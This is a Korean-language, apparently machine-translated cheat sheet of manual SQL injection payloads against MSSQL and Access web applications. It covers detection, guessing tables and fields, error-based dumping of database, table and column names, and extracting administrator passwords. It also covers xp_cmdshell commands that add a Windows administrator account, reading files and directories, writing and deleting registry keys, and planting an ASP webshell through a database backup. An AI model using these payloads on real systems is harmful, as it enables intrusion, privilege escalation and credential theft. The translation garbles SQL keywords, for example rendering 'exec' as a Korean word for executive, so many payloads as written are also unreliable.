1. 주입이 있는지 확인한다 ; 그리고 1=1 ; 그리고 1=2
2. MSSQL인지 여부에 대한 예비 판단 ; 그리고 사용자>0
3. 데이터베이스 시스템 심사 ; 그리고 (sysObjects에서 count(*) 선택 ) >0 MSSQL ; 그리고 (msysobjects에서 count(*) 선택)>0 접근
4. 주입 매개변수는 문자입니다 '그리고 [쿼리 기준] 그리고 ''=''
5. 검색 중에 필터링된 매개변수가 없다 '그리고 [쿼리 기준] 및 '%25'='
6. 테이블 이름을 맞혀 ; 그리고 ([테이블 이름]에서 Count(*)를 선택)>0
7. 필드를 추측하기 ; 그리고 (테이블 이름에서 Count(필드 이름) 선택)>0
8. 필드에서 기록의 길이를 추측하기 ; 그리고 (테이블 이름에서 상위 1개의 len(필드 이름) 선택)>0
9. (1) 필드의 ASCII 값을 추측하기 (접근) ; 그리고 (테이블 이름에서 상위 1개의 상승 중간(필드 이름, 1,1)을 선택)>0
(2) 필드(mssql)의 ASCII 값을 추측하기. ; 그리고 (테이블 이름에서 상위 1개의 Unicode(substring(field name,1,1)) 선택)>0
10. 테스트 권한 구조 (mssql) ; 그리고 1=(선택 IS_SRVROLEMEMBER('sysadmin')); -- ; 그리고 1=(선택IS_SRVROLEMEMBER('서버관리자')); -- ; 그리고 1=(선택 IS_SRVROLEMEMBER('setupadmin')); -- ; 그리고 1=(선택 IS_SRVROLEMEMBER('securityadmin')); -- ; 그리고 1=(IS_SRVROLEMEMBER('디스크관리자' 선택 포함)); -- ; 그리고 1=(선택IS_SRVROLEMEMBER('bulkadmin')); -- ; 그리고 1=(선택 IS_MEMBER('db_owner')); --
11. mssql과 시스템에 대한 계정 추가 ; 임원 master.dbo.sp_addlogin 사용자 이름; -- ; exec master.dbo.sp_password null, username, password; -- ; exec master.dbo.sp_addsrvrolemember sysadmin 사용자 이름; -- ; exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec master.dbo.xp_cmdshell 'net user username password /add'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --
12. (1) 카탈로그를 횡단 ; 테이블 디렉터리 만들기(paths varchar(100), id int) ; 'C:\' master.dbo.xp_dirtree 삽입 ; 그리고 (DIR에서 상위 1개 경로를 선택)>0 ; 그리고 (dir에서 경로가 아닌 곳에서 상위 1개 경로를 선택하세요. 경로가 ('이전 단계에서 얻은 경로'))>)
(2) 카탈로그를 탐색하기 ; 테이블 임시 생성(ID Nvarchar(255), num1 nvarchar(255), num2 nvarchar(255), num3 nvarchar(255)); -- ; 임시 임원 master.dbo.xp_availablemedia 삽입; -- 모든 현재 드라이브 확보 ; 'c:\'를 temp(id) exec master.dbo.xp_subdirs에 삽입; -- 하위 디렉터리 목록을 받으세요 ; temp(id,num1) exec master.dbo.xp_dirtree 'c:\'를 삽입합니다; -- 모든 서브디렉토리의 디렉터리 트리 구조를 얻습니다 ; temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'을 삽입; -- 파일 내용 보기
13. msSQL의 저장 프로시저 xp_regenumvalues 레지스트리 루트 키, 자식 키 ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'은 여러 레코드 세트의 모든 키 값을 반환합니다 xp_regread 루트 키, 자식 키, 키-값 이름 ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'는 설정 키의 값을 반환합니다 xp_regwrite 루트 키, 자식 키, 값 이름, 값 타입, 값 값 유형에는 두 가지 유형이 있습니다: 문자 유형과 정수에 대해 REG_SZ REG_DWORD ; exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello'를 레지스트리에 입력 xp_regdeletevalue 루트 키, 서브키, 값 이름 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName'을 사용하여 값을 제거한다 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'를 xp_regdeletekey 키와 해당 키의 모든 값을 제거하기
14. MSSQL 백업이 웹셸을 생성합니다 모델 사용 create table cmd(str image); cmd(str) 값에 삽입 ('<% Dim oScript %>'); 디스크로 백업 데이터베이스 모델='C:\l.asp';
15. MSSQL 내장 함수 ; 그리고 (@@version)>0을 선택하여 Windows 버전 번호를 얻습니다 ; 그리고 user_name()='dbo'를 사용하여 현재 시스템의 연결된 사용자가 SA인지 판단합니다 ; 그리고 (선택 user_name())>0 현재 시스템의 연결된 사용자들을 폭발시켰습니다 ; 그리고 (db_name())>0을 선택하여 현재 연결된 데이터베이스를 얻습니다
MSSQL 수동 주석 데이터베이스 위반
1. 현재 테이블 이름과 열명 노출 주입점 뒤에 "'having 1=1--"를 입력하면 테이블 이름과 컬럼 이름이 보이는 영어 반환 메시지를 받을 수 있습니다. "list name by group with the list with with with 1=1--"를 제출하면 다른 열 이름을 얻으세요; "노출된 테이블 이름의 목록으로 그룹화"를 계속 제출하세요. 두 번째 열의 이름은 1=1--"이며, 이는 또 다른 열의 이름을 제공합니다. 페이지가 더 이상 오류 메시지를 반환하지 않을 때까지 같은 방식으로 커밋하여 모든 열명을 얻으세요. 트리비아: VIOLENT 테이블 이름과 컬럼 이름은 SQL 문에서 GROUP BY와 함께 사용되어 조건부 판단을 합니다. 문장이 불완전하기 때문에 데이터베이스는 오류 메시지를 반환하고 테이블 이름과 열명을 표시합니다. 기본 메서드는 데이터베이스 내 현재 테이블만 노출할 수 있으며, 테이블에 열명이 많으면 기본 메서드를 사용하는 것이 매우 어렵습니다.
첫째. 모든 데이터베이스 이름이 노출됩니다 "and 0<>(master.dbo.sysdatabases 에서 count(*) 선택, 여기서 name>1 and dbid=[N])"라는 문장을 사용하여 데이터베이스 내 임의의 테이블 이름과 열 이름을 노출시키고, 여기서 "[N]"은 데이터베이스 내 N번째 테이블을 나타냅니다. 1단계: 포인트를 주입한 후 다음 문장을 제출하세요: "and 0<>(master.dbo.sysdatabases 에서 count(*) 선택, 여기서 name>1 and dbid=12)", 왜냐하면 dbid의 값이 1부터 5까지이기 때문에 시스템이 사용하는 값이므로, 사용자가 6에서 생성한 값이어야 하고 이름을 제출했기 때문입니다>1, 이름 필드가 문자 유형 필드이며, 숫자 비교가 잘못되어 제출 후 IE는 다음 정보를 반환합니다: "Microsoft OLE DB Provider for ODBC Drivers 오류 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]가 nvarchar 값 'Northwind'를 데이터 타입 int로 변환함 칼럼. 이렇게 하면 이름 필드의 값이 노출되어, 데이터베이스 이름이 "Northwind"가 됩니다. "dbid" 값을 바꾸면 모든 데이터베이스 이름을 얻을 수 있습니다.
그리고 0<>(master.dbo.sysdatabases에서 count(*) 선택, 여기서 name>1 and dbid=[N]) -- N을 수정하여 6에서 모든 데이터베이스 이름을 폭발적으로 제거함
둘째. 지정된 데이터베이스 내 모든 테이블 이름을 노출하세요 데이터베이스 이름을 얻은 후에는 라이브러리 내 모든 테이블 이름을 얻고, 다음 문장을 제출해야 합니다: "and 0<>(master.dbo.sysobjects 중 xtype='U'에서 상위 1개 이름을 선택하세요)", 여기 마스터 데이터베이스의 테이블 이름이 있고, 쿼리의 SQL 문은 이름값으로 반환한 후 숫자 0과 비교하여 이름 값을 노출시킵니다. 제출 후 테이블 이름이 "spt_monito"로 공개되었습니다. 그 후 다른 테이블들이 노출되고 다음 문이 제출됩니다: "and 0<>(master.dbo.sysobjects 중 xtype='U' and name not in('spt_monito'))에서 상위 1개 이름을 선택", 그리고 "cd512"라는 또 다른 테이블이 노출됩니다. 파일 "그리고 이름이 (' spt_monito', ' CD512',..))에 들어가지 않음" 테이블 이름은 모두 확인할 수 있습니다.
그리고 0<>([데이터베이스 이름 지정].dbo.sysobjects 중 상위 1개의 이름을 선택하며, 여기서 xtype='U')-- 그리고 0<>([데이터베이스 이름 지정].dbo.sysobjects에서 상위 1개의 이름을 선택하고, xtype='U' 그리고 name이 ('[expploded table name]'))에 없다'-- 그리고 0<>([데이터베이스 이름 지정].dbo.sysobjects 중에서 상위 1개의 이름을 선택하며, xtype='U' 그리고 이름이 ('[폭발 테이블 이름]', '[Exploded 두 번째 테이블 이름]'))에 없음을 선택한다)--
4. 지정된 테이블의 모든 열명 노출 그리고 0<>(bbs.dbo.sysobjects 중 xtype='U' 및 name='admin' 및 uid>(str(id)))에서 count(*) 선택함) ID 값을 문자 타입으로 변환한 후 정수 값과 비교하세요. 신분증 번호가 나왔어. 값은 다음과 같습니다: 949578421 이름='테이블 이름'
그리고 0<>(wutong.dbo.syscolumns에서 id=949578421에서 상위 1개의 이름을 선택)-- 관리자 테이블의 필드 이름이 노출됩니다
재제출하고 0<>(id=949578421 이름이 없는 wutong.dbo.syscolumns에서 상위 1개의 이름을 선택하세요('adduser'))-- 파일 "그리고 이름이 (' spt_monito', ' CD512',..))에 들어가지 않음" 모든 필드 이름은 관리자 테이블에서 찾을 수 있습니다.
그리고 0<>([데이터베이스 명명].dbo.sysobjects 중에서 count(*) 선택 여기서 xtype='U' 및 name='[폭발할 필드의 테이블 이름]' 그리고 uid>(str(id)))--폭발할 필드 테이블 이름의 ID 값
그리고 0<>([데이터베이스 이름 지정].dbo.syscolumns에서 상위 1개의 이름을 선택하며, id=exploded id 값)-- exploding id value 테이블에 있는 필드의 이름
그리고 0<>([데이터베이스 이름 지정].dbo.syscolumns에서 상위 1개의 이름을 선택하며, id=폭발적 ID 값과 이름이 ('[Exploded field name]')에 없다'))--
5. 지정된 테이블의 데이터를 읽습니다
그리고 0<(wutong.dbo.admin에서 A_ID 선택 중 A_UserID>1) — A_PWD를 깨뜨린 내용
그리고 0<([데이터베이스 이름 지정].dbo.[table name to query]에서 [존재하는 필드]를 선택하며, 여기서 [필드 이름 to explode content]>1)--
그리고 0<(wutong.dbo.admin에서 A_ID 선택 A_PWD>1 및 A_UserID='admin') -- 관리자의 비밀번호가 노출됩니다
그리고 0<(관리자 A_UserID에서 상위 1 선택, 여기서 A_ID<>1)-- id<>1의 관리자 이름(fuhao)
그리고 0<(관리자 A_UserID에서 상위 1 선택 A_ID <>1과 A_UserID <> 'fuhao') -- 두 번째 관리자 이름은 (tuiguang)과 같지 않<>
그리고 0<(관리자에서 A_UserID 상위 1을 선택하며, A_ID <>1과 A_UserID <> 'fuhao', A_UserID <> 'tuiguang')--
데이터베이스의 테이블 이름과 열명을 알게 된 후에는 "쿼리 문"을 사용해 데이터베이스 내 모든 정보를 읽을 수 있습니다. 예를 들어, 테이블의 열에서 N번째 데이터를 읽고 싶다면, 다음과 같은 문장을 제출할 수 있습니다: "그리고 (테이블 이름에서 상위 1열 이름을 선택, id=[N])>1" ([N]는 열의 N번째 데이터를 나타냅니다). 그리고 IE가 반환하는 정보로 원하는 데이터를 알 수 있습니다.
|